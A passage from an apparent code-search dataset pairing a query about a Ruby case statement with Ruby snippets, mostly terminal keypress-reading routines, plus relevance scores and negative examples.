\"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when \"f\"\n puts \"flag\"\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n\n #p @cursor_pos\nend", "def get_user_input\n Termbox.tb_poll_event(@event)\n ascii_to_symbol @event[:ch]\n end", "def get_char\n begin\n system(\"stty raw -echo 2>/dev/null\") # turn raw input on\n c = nil\n #if $stdin.ready?\n c = $stdin.getc\n cn=c.ord\n return \"ENTER\" if cn == 10 || cn == 13\n return \"BACKSPACE\" if cn == 127\n return \"C-SPACE\" if cn == 0\n return \"SPACE\" if cn == 32\n # next does not seem to work, you need to bind C-i\n return \"TAB\" if cn == 8\n if cn >= 0 && cn < 27\n x= cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff=c.chr\n while true\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n #puts \"got #{k}\"\n buff += k.chr\n else\n x=$kh[buff]\n return x if x\n #puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n #end\n return c.chr if c\n ensure\n #system \"stty -raw echo\" # turn raw input off\n system(\"stty -raw echo 2>/dev/null\") # turn raw input on\n end\nend", "def get_char\n begin\n system(\"stty raw -echo 2>/dev/null\") # turn raw input on\n c = nil\n #if $stdin.ready?\n c = $stdin.getc\n cn=c.ord\n return \"ENTER\" if cn == 10 || cn == 13\n return \"BACKSPACE\" if cn == 127\n return \"C-SPACE\" if cn == 0\n return \"SPACE\" if cn == 32\n # next does not seem to work, you need to bind C-i\n return \"TAB\" if cn == 8\n if cn >= 0 && cn < 27\n x= cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff=c.chr\n while true\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n #puts \"got #{k}\"\n buff += k.chr\n else\n x=$kh[buff]\n return x if x\n #puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n #end\n return c.chr if c\n ensure\n #system \"stty -raw echo\" # turn raw input off\n system(\"stty -raw echo 2>/dev/null\") # turn raw input on\n end\nend", "def get_char\n begin\n system(\"stty raw -echo 2>/dev/null\") # turn raw input on\n c = nil\n #if $stdin.ready?\n c = $stdin.getc\n cn=c.ord\n return \"ENTER\" if cn == 13\n return \"BACKSPACE\" if cn == 127\n return \"C-SPACE\" if cn == 0\n return \"SPACE\" if cn == 32\n # next does not seem to work, you need to bind C-i\n return \"TAB\" if cn == 8\n if cn >= 0 && cn < 27\n x= cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff=c.chr\n while true\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n #puts \"got #{k}\"\n buff += k.chr\n else\n x=$kh[buff]\n return x if x\n #puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n #end\n return c.chr if c\n ensure\n #system \"stty -raw echo\" # turn raw input off\n system(\"stty -raw echo 2>/dev/null\") # turn raw input on\n end\nend", "def read_char\n STDIN.raw!\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n return input\nend", "def show_single_key\n c = read_char\n\n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts \"RETURN\"\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n when \"\\e[A\"\n puts \"UP ARROW\"\n when \"\\e[B\"\n puts \"DOWN ARROW\"\n when \"\\e[C\"\n puts \"RIGHT ARROW\"\n when \"\\e[D\"\n puts \"LEFT ARROW\"\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when /^.$/\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n end", "def read_command\n $stdin.noecho do |noecho|\n noecho.raw do |raw|\n raw.getc.tap do |command|\n # Consume PageUp or PageDown if present. No other ANSI escape sequence is\n # supported so a blind 3.times getc is enough.\n 3.times { command << raw.getc } if command == \"\\e\"\n end\n end\n end\nend", "def readchar() end", "def readchar() end", "def readchar() end", "def read_char\n raw_tty! do\n input = $stdin.getc.chr\n return input unless input == \"\\e\"\n\n input << begin\n $stdin.read_nonblock(3)\n rescue\n ''\n end\n input << begin\n $stdin.read_nonblock(2)\n rescue\n ''\n end\n input\n end\n rescue IOError\n \"\\e\"\n end", "def show_single_key\n c = read_char\n\n case c\n when \" \"\n pickUpItem()\n when \"i\"\n showInventory\n when \"m\"\n showMap\n when \"v\"\n inspectSurroundings\n puts \"working\"\n when \"q\"\n system ('clear && printf \"\\e[3J\"') or system (\"cls\")\n exit 0\n when \"k\"\n gameOver\n when \"\\e[A\"\n move(c)\n when \"\\e[B\"\n move(c)\n when \"\\e[C\"\n move(c)\n when \"\\e[D\"\n move(c)\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n end\nend", "def readChar\n\tinput = STDIN.read_nonblock(1) rescue nil\n\tif input == \"\\e\" then\n\t\tinput << STDIN.read_nonblock(1) rescue nil\n\t\tinput << STDIN.read_nonblock(1) rescue nil\n\tend\n\t\n\treturn input\nend", "def pressKeyToContinue\n puts \"\\n-- press any key to continue --\"\n gets\nend", "def getch\n scan(/./m)\n end", "def show_single_key\n c = read_char\n\n case c\n when \" \"\n RTermGame.println \"SPACE\"\n when \"\\t\"\n RTermGame.println \"TAB\"\n when \"\\r\"\n RTermGame.println \"RETURN\"\n when \"\\n\"\n RTermGame.println \"LINE FEED\"\n when \"\\e\"\n RTermGame.println \"ESCAPE\"\n when \"\\e[A\"\n RTermGame.println \"UP ARROW\"\n when \"\\e[B\"\n RTermGame.println \"DOWN ARROW\"\n when \"\\e[C\"\n RTermGame.println \"RIGHT ARROW\"\n when \"\\e[D\"\n RTermGame.println \"LEFT ARROW\"\n when \"\\177\"\n RTermGame.println \"BACKSPACE\"\n when \"\\004\"\n RTermGame.println \"DELETE\"\n when \"\\e[3~\"\n RTermGame.println \"ALTERNATE DELETE\"\n when \"\\u0003\"\n RTermGame.println \"CONTROL-C\"\n exit 0\n when /^.$/\n RTermGame.println \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n RTermGame.println \"SOMETHING ELSE: #{c.inspect}\"\n end\nend", "def process_keyboard\n ACCEPTED_KEYS.each {|key|\n if Input.repeat?(key[0])\n c = (key[0] != :kSPACE) ? Keyboard.add_char(Ascii::SYM[key[0]]) : \" \"\n process_add(c)\n #Sound.play_ok\n play_random_key_sound\n end\n }\n end", "def getchar\n $key_chr = nil\n c = nil\n while true\n c = self.getch\n break if c != -1\n end\n \n cn = c\n $key_int = c\n # handle control codes 0 to 127 but not escape\n if cn >= 0 && cn < 128 && cn != 27\n #$key_chr = key_tos(c)\n return c\n end\n \n # if escape then get into a loop and keep checking till -1 or another escape\n #\n if c == 27\n buff=c.chr\n # if there is another escape coming through then 2 keys were pressed so\n # evaluate upon hitting an escape\n # NOTE : i think only if ESc is followed by [ should be keep collectig\n # otherwise the next char should evaluate. cases like F1 are already being sent in as high integer codes\n while true\n #$log.debug \" #{Time.now.to_f} inside LOOP before getch \"\n # This getch seems to take enough time not to return a -1 for almost a second\n # even if nodelay is true ??? XXX\n FFI::NCurses.set_escdelay(5)\n k = self.getch\n #$log.debug \"elapsed #{elapsed} millis inside LOOP AFTER getch #{k} (#{elapsed1})\"\n $log.debug \"inside LOOP AFTER getch #{k} \"\n\n if k == 27\n # seems like two Meta keys pressed in quick succession without chance for -1 to kick in\n # but this still does not catch meta char followed by single char. M-za , it does.\n if $esc_esc\n if buff == 27.chr\n $key_chr = \"<ESC-ESC>\"\n return 2727\n else\n alert \"buff is #{buff}\"\n end\n end\n $log.debug \" 1251 before evaluate \"\n x = _evaluate_buff buff\n # return ESC so it can be interpreted again.\n @window.ungetch k\n $key_chr = x if x\n return $key_int if x\n $log.warn \"getchar: window.rb 1200 Found no mapping for #{buff} \"\n $key_chr = buff\n return $key_int\n #return buff # otherwise caught in loop ???\n elsif k > -1\n # FIXME next lne crashes if M-C-h pressed which gives 263\n if k > 255\n $log.warn \"getchar: window.rb 1247 Found no mapping for #{buff} #{k} \"\n $key_int = k + 128\n return $key_int\n # this contains ESc followed by a high number\n=begin\n ka = key_tos(k)\n if ka\n $key_chr = \"<M-\" + ka[1..-1]\n $key_int = k + 128\n return $key_int\n else\n $key_chr = \"UNKNOWN: Meta + #{k}\"\n return 9999\n end\n=end\n end\n\n buff += k.chr\n # this is an alt/meta code. All other complex codes seem to have a [ after the escape\n # so we will keep accumulating them.\n # NOTE this still means that user can press Alt-[ and some letter in quick succession\n # and it will accumulate rather than be interpreted as M-[.\n #\n if buff.length == 2 and k == 79\n # this is Alt-O and can be a F key in some terms like xterm-color\n elsif buff.length == 2 and k.chr != '['\n x = _evaluate_buff buff\n \n $key_chr = x\n return $key_int if x\n end\n #$log.debug \"XXX: getchar adding #{k}, #{k.chr} to buff #{buff} \"\n else\n #$log.debug \" GOT -1 in escape \"\n # it is -1 so evaluate\n x = _evaluate_buff buff\n $key_chr = x if x\n return $key_int if x\n $log.warn \"getchar: window.rb 1256 Found no mapping for #{buff} \"\n $key_chr = buff\n return $key_int\n end\n end\n end\n \n # what if keyname does not return anything\n if c > 127\n #$log.info \"xxxgetchar: window.rb sending #{c} \"\n=begin\n ch = FFI::NCurses::keyname(c) \n # remove those ugly brackets around function keys\n if ch && ch[-1]==')'\n ch = ch.gsub(/[()]/,'')\n end\n if ch && ch.index(\"KEY_\")\n ch = ch.gsub(/KEY_/,'')\n end\n ch = \"<#{ch}>\" if ch\n #return ch if ch\n $key_chr = ch if ch\n $key_chr = \"UNKNOWN:#{c}\" unless ch\n $log.warn \"getchar: window.rb 1234 Found no mapping for #{c} \" unless ch\n=end\n #$key_chr = key_tos(ch)\n return c\n end\n if c\n #$key_chr = c.chr \n return c \n end\n end", "def any_key\n puts \"\"\n puts \"Press any key to continue..\"\n STDIN.getch\n end", "def getch\n FFI::NCurses.wtimeout(@pointer, $ncurses_timeout || 1000)\n c = FFI::NCurses.wgetch(@pointer)\n if c == 27 ## {{{\n\n # don't wait for another key\n FFI::NCurses.nodelay(@pointer, true)\n k = FFI::NCurses.wgetch(@pointer)\n if k == -1\n # wait for key\n #FFI::NCurses.nodelay(@pointer, false)\n return 27\n else\n buf = \"\"\n loop do\n n = FFI::NCurses.wgetch(@pointer)\n break if n == -1\n buf += n.chr\n end\n # wait for next key\n #FFI::NCurses.nodelay(@pointer, false)\n\n # this works for all alt-keys but it messes with shift-function keys\n # shift-function keys start with M-[ (91) and then have more keys\n if buf == \"\"\n return k + 128\n end\n #$log.debug \" getch buf is #{k.chr}#{buf} \"\n # returning a string key here which is for Shift-Function keys or other undefined keys.\n key = 27.chr + k.chr + buf\n return key\n\n end\n end ## }}}\n #FFI::NCurses.nodelay(@pointer, false) # this works but trying out for continueous updates\n c\n rescue SystemExit, Interrupt \n 3 # is C-c\n rescue StandardError\n -1 # is C-c\n end", "def getchar\n state = `stty -g`\n `stty raw -echo -icanon isig`\n STDIN.getc.chr\nensure\n `stty #{state}`\nend", "def on_char(evt)\n ch = evt.get_key_code\n mflag = evt.modifiers\n\n case ch\n when Wx::K_RIGHT : move_cursor_right(evt.shift_down)\n when Wx::K_LEFT : move_cursor_left(evt.shift_down)\n when Wx::K_DOWN : move_cursor_down(evt.shift_down)\n when Wx::K_UP : move_cursor_up(evt.shift_down)\n when Wx::K_BACK : on_key_back(evt)\n when Wx::K_DELETE : on_key_delete(evt)\n when Wx::K_TAB : on_key_tab(evt)\n when (mflag == Wx::MOD_CMD and ?a) # select all\n do_select_all\n when (mflag == Wx::MOD_CMD and ?c) # copy\n do_clipboard_copy\n when (mflag == Wx::MOD_CMD and ?x) # cut\n do_clipboard_cut\n when (mflag == Wx::MOD_CMD and ?v) # paste\n do_clipboard_paste\n when ((mflag == Wx::MOD_NONE or mflag == Wx::MOD_SHIFT) and 0x20..0x7e)\n if @cursor.area\n # redirect regular typing to on_char_AREANAME\n return self.send(\"on_char_#{AREAS[@cursor.area]}\", evt)\n end\n else # everything else is for dynamically handling key combo handlers\n m = []\n m << 'alt' if (mflag & Wx::MOD_ALT) != 0\n m << 'cmd' if (mflag & Wx::MOD_CMD) != 0\n m << 'shift' if (mflag & Wx::MOD_SHIFT) != 0\n mods = (m.empty?)? \"\" : \"_\" + m.join('_')\n\n ch = evt.get_key_code\n hex = ch.to_s(16).rjust(2,'0')\n meth=nil\n\n if (n=resolve_key_code(ch)) and respond_to?(\"on_key#{mods}_#{n}\")\n meth=\"on_key#{mods}_#{n}\"\n elsif respond_to?(\"on_key#{mods}_0x#{hex}\")\n meth=\"on_key#{mods}_#{hex}\"\n end\n\n if meth and ret=self.send(meth, evt)\n return ret\n else\n evt.skip()\n end\n end\n end", "def readchar\n end", "def get_char\n c = Curses.getch\n c if (0..255) === c.ord\n end", "def process_redio_keyboard_input(key)\n case key\n when :enter then @redio_loop = false\n when /\\d/ then print_redio(key.to_s)\n when :tab, :down, :left, :space then print_redio(@redio_res.succ)\n when :up, :right then print_redio(@redio_res.pred)\n end\n end", "def getchar \n while 1 \n ch = getch\n #$log.debug \"window getchar() GOT: #{ch}\" if ch != -1\n if ch == -1\n # the returns escape 27 if no key followed it, so its SLOW if you want only esc\n if @stack.first == 27\n #$log.debug \" -1 stack sizze #{@stack.size}: #{@stack.inspect}, ch #{ch}\"\n case @stack.size\n when 1\n @stack.clear\n return 27\n when 2 # basically a ALT-O, this will be really slow since it waits for -1\n ch = 128 + @stack.last\n @stack.clear\n return ch\n when 3\n $log.debug \" SHOULD NOT COME HERE getchar()\"\n end\n end\n @stack.clear\n next\n end\n # this is the ALT combination\n if @stack.first == 27\n # experimental. 2 escapes in quick succession to make exit faster\n if ch == 27\n @stack.clear\n return ch\n end\n # possible F1..F3 on xterm-color\n if ch == 79 or ch == 91\n #$log.debug \" got 27, #{ch}, waiting for one more\"\n @stack << ch\n next\n end\n #$log.debug \"stack SIZE #{@stack.size}, #{@stack.inspect}, ch: #{ch}\"\n if @stack == [27,79]\n # xterm-color\n case ch\n when 80\n ch = KEY_F1\n when 81\n ch = KEY_F2\n when 82\n ch = KEY_F3\n when 83\n ch = KEY_F4\n end\n @stack.clear\n return ch\n elsif @stack == [27, 91]\n if ch == 90\n @stack.clear\n return KEY_BTAB # backtab\n end\n end\n # the usual Meta combos. (alt)\n ch = 128 + ch\n @stack.clear\n return ch\n end\n # append a 27 to stack, actually one can use a flag too\n if ch == 27\n @stack << 27\n next\n end\n return ch\n end\n end", "def read characters\n forward characters\n end", "def getchar \n while true \n ch = getch\n #$log.debug \"window getchar() GOT: #{ch}\" if ch != -1\n if ch == -1\n # the returns escape 27 if no key followed it, so its SLOW if you want only esc\n if @stack.first == 27\n #$log.debug \" -1 stack sizze #{@stack.size}: #{@stack.inspect}, ch #{ch}\"\n case @stack.size\n when 1\n @stack.clear\n return 27\n when 2 # basically a ALT-O, this will be really slow since it waits for -1\n ch = 128 + @stack.last\n @stack.clear\n return ch\n when 3\n $log.debug \" SHOULD NOT COME HERE getchar()\"\n end\n end\n @stack.clear\n next\n end\n # this is the ALT combination\n if @stack.first == 27\n # experimental. 2 escapes in quick succession to make exit faster\n if ch == 27\n @stack.clear\n return ch\n end\n # possible F1..F3 on xterm-color\n if ch == 79 or ch == 91\n #$log.debug \" got 27, #{ch}, waiting for one more\"\n @stack << ch\n next\n end\n #$log.debug \"stack SIZE #{@stack.size}, #{@stack.inspect}, ch: #{ch}\"\n if @stack == [27,79]\n # xterm-color\n case ch\n when 80\n ch = KEY_F1\n when 81\n ch = KEY_F2\n when 82\n ch = KEY_F3\n when 83\n ch = KEY_F4\n end\n @stack.clear\n return ch\n elsif @stack == [27, 91]\n if ch == 90\n @stack.clear\n return 353 # backtab\n end\n end\n # the usual Meta combos. (alt)\n ch = 128 + ch\n @stack.clear\n return ch\n end\n # append a 27 to stack, actually one can use a flag too\n if ch == 27\n @stack << 27\n next\n end\n return ch\n end\n end", "def escape\n puts \"\"\n puts Rainbow(\"Press anything to return\").blue\n STDIN.getch\nend", "def process_key_press( typed_line )\n # retrieve typed character\n typed_character = get_character.chr\n # process backspace\n if typed_character == \"\\177\"\n putc \"\\b \\b\"\n typed_line.chop!\n return typed_line\n # ignore return\n elsif typed_character == \"\\r\"\n return typed_line\n end\n # append typed to current line character and write it out\n typed_line = typed_line + typed_character\n putc typed_character\n typed_line\n end", "def narrate(string)\n puts\n puts string\n puts\n STDIN.getch\n end", "def getch\n @w.getch\n rescue Interrupt => ex\n 3 # is C-c\n end", "def callback_read_char\n rl_callback_read_char\n end", "def show_single_key\n system(\"clear\")\n board.render\n\n c = read_char\n\n case c\n when \"\\e[A\"\n # puts \"UP ARROW\"\n board.selected_pos[0] -= 1 unless board.selected_pos[0] < 1\n when \"\\e[B\"\n board.selected_pos[0] += 1 unless board.selected_pos[0] > 7\n # puts \"DOWN ARROW\"\n when \"\\e[C\"\n board.selected_pos[1] += 1 unless board.selected_pos[1] > 7\n # puts \"RIGHT ARROW\"\n when \"\\e[D\"\n board.selected_pos[1] -= 1 unless board.selected_pos[1] < 1\n # puts \"LEFT ARROW\"\n when \"r\"\n make_move(board.selected_pos,\"r\")\n when \"f\"\n make_move(board.selected_pos,\"f\")\n when \"s\"\n save?\n end\n end", "def get_character( input = STDIN )\n WinAPI._getch\n end", "def read_io(keyseq_timeout, &block)\n buffer = []\n loop do\n c = Reline::IOGate.getc\n buffer << c\n result = @@key_stroke.match_status(buffer)\n case result\n when :matched\n block.(@@key_stroke.expand(buffer).map{ |c| Reline::Key.new(c, c, false) })\n break\n when :matching\n if buffer.size == 1\n begin\n succ_c = nil\n Timeout.timeout(keyseq_timeout / 1000.0) {\n succ_c = Reline::IOGate.getc\n }\n rescue Timeout::Error # cancel matching only when first byte\n block.([Reline::Key.new(c, c, false)])\n break\n else\n if @@key_stroke.match_status(buffer.dup.push(succ_c)) == :unmatched\n if c == \"\\e\".ord\n block.([Reline::Key.new(succ_c, succ_c | 0b10000000, true)])\n else\n block.([Reline::Key.new(c, c, false), Reline::Key.new(succ_c, succ_c, false)])\n end\n break\n else\n Reline::IOGate.ungetc(succ_c)\n end\n end\n end\n when :unmatched\n if buffer.size == 1 and c == \"\\e\".ord\n read_escaped_key(keyseq_timeout, buffer, block)\n else\n block.(buffer.map{ |c| Reline::Key.new(c, c, false) })\n end\n break\n end\n end\n end", "def get_console_char\n STDIN.getch\n end", "def on_key(ch)\n end", "def respond_to_input(turn_color)\n loop do\n c = read_char\n case c\n when \"\\r\"\n return end_cursor || cursor\n when \"\\e[A\"\n move_cursor(turn_color, [-1, 0])\n when \"\\e[B\"\n move_cursor(turn_color, [1, 0])\n when \"\\e[C\"\n move_cursor(turn_color, [0, 1])\n when \"\\e[D\"\n move_cursor(turn_color, [0, -1])\n when \"\\u0003\"\n raise Interrupt\n end\n end\n end", "def getch\n map_key(key_press)\n end", "def input\n loop do\n case STDIN.getch\n when 'a' then return :left\n when 'd' then return :right\n when 'q' then return :exit\n end\n end\n end", "def asking_getchar\n Fiber.yield :input\n end", "def read_hidden_input\n input = ''\n while true\n c = STDIN.getc.chr\n if c == \"\\r\" or c == \"\\n\" then puts; break; end\n input << c\n end\n input.strip\nend", "def get_char\n c = @window.getchar\n case c\n when 13,10\n return \"ENTER\"\n when 32\n return \"SPACE\"\n when 127\n return \"BACKSPACE\"\n when 27\n return \"ESCAPE\"\n end\n keycode_tos c\n# if c > 32 && c < 127\n #return c.chr\n #end\n ## use keycode_tos from Utils.\nend", "def press_any_key\n # TODO: Print footer.\n get_wch\n end", "def safe_threadsafe_blocking_getch\n nonblocking_getch\n rescue Interrupt\n KEY_CANCEL\n end", "def key_listen\n Thread.new do\n loop do \n block = @key_bindings[get_character]\n puts block.call if block\n end\n end\n end", "def get_char(options)\n if options[:raw]\n WinAPI.getch.chr\n else\n options[:echo] ? @input.getc : WinAPI.getch.chr\n end\n end", "def read_many(number_of_events=1)\n read_console_input({:nLength => number_of_events, :blocking => true })\n end", "def handle_control_character(search, key)\n case key\n\n when KEY_CTRL_N then search.down\n when KEY_CTRL_P then search.up\n\n when KEY_CTRL_U then search.clear_query\n when KEY_CTRL_W then search.delete_word\n when KEY_CTRL_H, KEY_DELETE then search.backspace\n\n when ?\\r, KEY_CTRL_J, KEY_CTRL_M then search.done\n\n when KEY_CTRL_C then raise Abort\n\n else search\n end\n end", "def get_char\n\tbegin\n\t\tsystem(\"stty raw -echo\")\n\t\tchar = STDIN.getc\n\tensure\n\t\tsystem(\"stty -raw echo\")\n\tend\n\treturn char\nend", "def keystroke(character, *special_keys)\n special_keys = [\"command\"] if special_keys.length == 0\n special_keys_as_applescript_array = special_keys.map { |k|\n \"#{k} down\"\n }.join(\", \")\n execute_applescript(%Q'\n tell application \"System Events\"\n set frontApp to name of first item of (processes whose frontmost is true)\n tell application frontApp\n keystroke \"#{character}\" using {#{special_keys_as_applescript_array}}\n end\n end tell\n ')\n end", "def perror text\n clear_last_line\n puts \"\\r#{RED}#{text}. Press a key.#{CLEAR}\"\n get_char\nend", "def keypress(key)\n puts \"Got key: #{key} (#{key.class})\"\n if key.is_a?(String)\n if key.length == 1\n # Assume letter\n @vnc.keyevent(key.chr, true)\n @vnc.keyevent(key.chr, false)\n else\n # Assume keysym\n puts \"I don't know how to type '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end\n else\n # type printables, key others.\n if 32.upto(127).include?(key)\n @vnc.keyevent(key, true)\n @vnc.keyevent(key, false)\n else\n case key\n when 8 \n @vnc.keyevent(0xff08, true)\n @vnc.keyevent(0xff08, false)\n when 13\n @vnc.keyevent(0xff0D, true)\n @vnc.keyevent(0xff0D, false)\n else\n puts \"I don't know how to type web keycode '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end # case key\n end # if 32.upto(127).include?(key)\n end # if key.is_a?String\n return nil\n end", "def source\n puts '------------------------------------------------'.colorize(:light_blue)\n puts 'Input keys? [y/n]'.colorize(:light_blue)\n puts '------------------------------------------------'.colorize(:light_blue)\n $stdin.gets.chomp == 'y' ? source_keys : all_keys\n end", "def get_character( input = STDIN )\n Win32API.new(\"crtdll\", \"_getch\", [ ], \"L\").Call\n end" ]
[ "0.717189", "0.71680975", "0.70763326", "0.7075197", "0.70361507", "0.6969546", "0.6937639", "0.6894975", "0.67837787", "0.6695388", "0.66821814", "0.66595066", "0.6654973", "0.6571633", "0.6534268", "0.6489353", "0.6481354", "0.6472208", "0.6462229", "0.64368916", "0.6412788", "0.63924646", "0.63924646", "0.639222", "0.63843346", "0.63727784", "0.63480186", "0.6329165", "0.6329165", "0.6329165", "0.6329165", "0.6313667", "0.6302543", "0.6277765", "0.62534255", "0.6209146", "0.6203513", "0.61569554", "0.6148676", "0.61338675", "0.61099523", "0.6108593", "0.60991865", "0.6043543", "0.6042371", "0.6039613", "0.6039613", "0.6039121", "0.603878", "0.6030897", "0.60121053", "0.6011107", "0.6011107", "0.6011107", "0.59345734", "0.59229213", "0.5914933", "0.5914665", "0.59051067", "0.58948797", "0.5886658", "0.5870824", "0.5814331", "0.57936144", "0.5752908", "0.5718366", "0.5713874", "0.5707008", "0.57044744", "0.5699652", "0.5688889", "0.5683312", "0.5661972", "0.56577754", "0.56566787", "0.5653356", "0.5650046", "0.5629933", "0.5622828", "0.5574956", "0.5559593", "0.5532279", "0.5526792", "0.5504152", "0.5501517", "0.55014104", "0.549643", "0.5489018", "0.54542947", "0.5426004", "0.5418673", "0.54156613", "0.5378782", "0.53745747", "0.5365713", "0.5363191", "0.5342687", "0.5341708", "0.53107417", "0.5303879" ]
0.6432087
20
oringal case statement from:
def show_single_key c = read_char case c when " " return "SPACE" when "\t" return "TAB" when "\r" return "RETURN" when "\n" return "LINE FEED" when "\e" return "ESCAPE" when "\e[A" return "UP ARROW" when "\e[B" return "DOWN ARROW" when "\e[C" return "RIGHT ARROW" when "\e[D" return "LEFT ARROW" when "\177" return "BACKSPACE" when "\004" return "DELETE" when "\e[3~" return "ALTERNATE DELETE" when "\u0003" return "CONTROL-C" exit 0 when /^.$/ return "SINGLE CHAR HIT: #{c.inspect}" else return "SOMETHING ELSE: #{c.inspect}" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def keyword\n 'case'\n end", "def keyword\n 'case'\n end", "def case!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n\n type = CASE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 144:8: 'case'\n match( \"case\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n end", "def swapcase() end", "def swapcase!() end", "def case _args\n \"case _args;\" \n end", "def cases()\n \n end", "def case_for(column, lower, upper = nil)\n \"WHEN #{column} >= #{lower} #{\" AND #{column} < #{upper} \" if upper} THEN #{lower}\"\n end", "def downcase() end", "def casecmp(p0) end", "def upcase() end", "def case_insensitive_match=(_arg0); end", "def downcase; end", "def case_exact\n return @case_exact\n end", "def upcase; end", "def downcase!() end", "def case( dir )\n case dir\n when :up, :upper\n mb_chars.upcase.to_s\n when :lo, :low, :lower, :down\n mb_chars.downcase.to_s\n when :cap\n mb_chars.capitalize.to_s\n else\n fail ArgumentError, \"wrong direction '#{dir}', use :up, :lo or :cap\"\n end\n end", "def casefold?() end", "def upcase!() end", "def case_insensitive_match; end", "def define_case(sym, *args)\n record(sym, *args)\n end", "def get_case(str)\n return 'upper' if str.upcase == str\n return 'lower' if str.downcase == str\n 'mixed'\nend", "def change_case( answer_string )\n if [:up, :upcase].include?(@case)\n answer_string.upcase\n elsif [:down, :downcase].include?(@case)\n answer_string.downcase\n elsif @case == :capitalize\n answer_string.capitalize\n else\n answer_string\n end\n end", "def case_expression_sql(ce)\n \"(CASE #{ce.conditions.collect{|c,r| \"WHEN #{literal(c)} THEN #{literal(r)} \"}.join}ELSE #{literal(ce.default)} END)\"\n end", "def case(exp, level)\n code = []\n @scope.add_local \"$case\"\n expr = process exp.shift, :expression\n # are we inside a statement_closure\n returnable = level != :statement\n\n until exp.empty?\n wen = exp.shift\n if wen and wen.first == :when\n returns(wen) if returnable\n wen = process(wen, :expression)\n wen = \"else #{wen}\" unless code.empty?\n code << wen\n elsif wen # s(:else)\n wen = returns(wen) if returnable\n code << \"else {#{process wen, :expression}}\"\n end\n end\n\n code = \"$case = #{expr};#{code.join \"\\n\"}\"\n code = \"(function() { #{code} })()\" if returnable\n code\n end", "def normalize_case(default = :smart)\n case self\n when /^(c|sens)/i\n :sensitive\n when /^i/i\n :ignore\n when /^s/i\n :smart\n else\n default.is_a?(Symbol) ? default : default.normalize_case\n end\n end", "def fb_to_ar_case(column_name)\n column_name =~ /[[:lower:]]/ ? column_name : column_name.downcase\n end", "def case_clause\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n return_value = CaseClauseReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal116 = nil\n char_literal118 = nil\n expression_list117 = nil\n statement_list119 = nil\n\n tree_for_string_literal116 = nil\n tree_for_char_literal118 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 430:5: 'case' expression_list ':' ( statement_list )?\n string_literal116 = match( CASE, TOKENS_FOLLOWING_CASE_IN_case_clause_2873 )\n if @state.backtracking == 0\n\n tree_for_string_literal116 = @adaptor.create_with_payload( string_literal116 )\n root_0 = @adaptor.become_root( tree_for_string_literal116, root_0 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_expression_list_IN_case_clause_2877 )\n expression_list117 = expression_list\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, expression_list117.tree )\n end\n char_literal118 = match( COLON, TOKENS_FOLLOWING_COLON_IN_case_clause_2880 )\n # at line 430:37: ( statement_list )?\n alt_24 = 2\n look_24_0 = @input.peek( 1 )\n\n if ( look_24_0 == GENERAL || look_24_0 == GET || look_24_0 == ARROW || look_24_0 == IF || look_24_0 == REGEX || look_24_0 == INCR || look_24_0 == BREAK || look_24_0 == RETURN || look_24_0 == IS_DEFINED || look_24_0 == LBRACE || look_24_0 == LBRACK || look_24_0.between?( SEMI, CONST ) || look_24_0.between?( SET, LET ) || look_24_0 == DDOC || look_24_0.between?( DECR, LPAREN ) || look_24_0 == DELETE || look_24_0.between?( DGENERAL, DO ) || look_24_0 == THROW || look_24_0 == TILDE || look_24_0 == TRUE || look_24_0 == TRY || look_24_0.between?( TYPEOF, NEW ) || look_24_0.between?( EACH, UNDEFINED ) || look_24_0.between?( NULL, UNLESS ) || look_24_0 == UNTIL || look_24_0 == FALSE || look_24_0 == VAR || look_24_0.between?( VOID, FOR ) || look_24_0 == WHILE || look_24_0.between?( WITH, YIELD ) || look_24_0.between?( IS_UNDEFINED, DOC ) || look_24_0.between?( T__148, T__150 ) )\n alt_24 = 1\n end\n case alt_24\n when 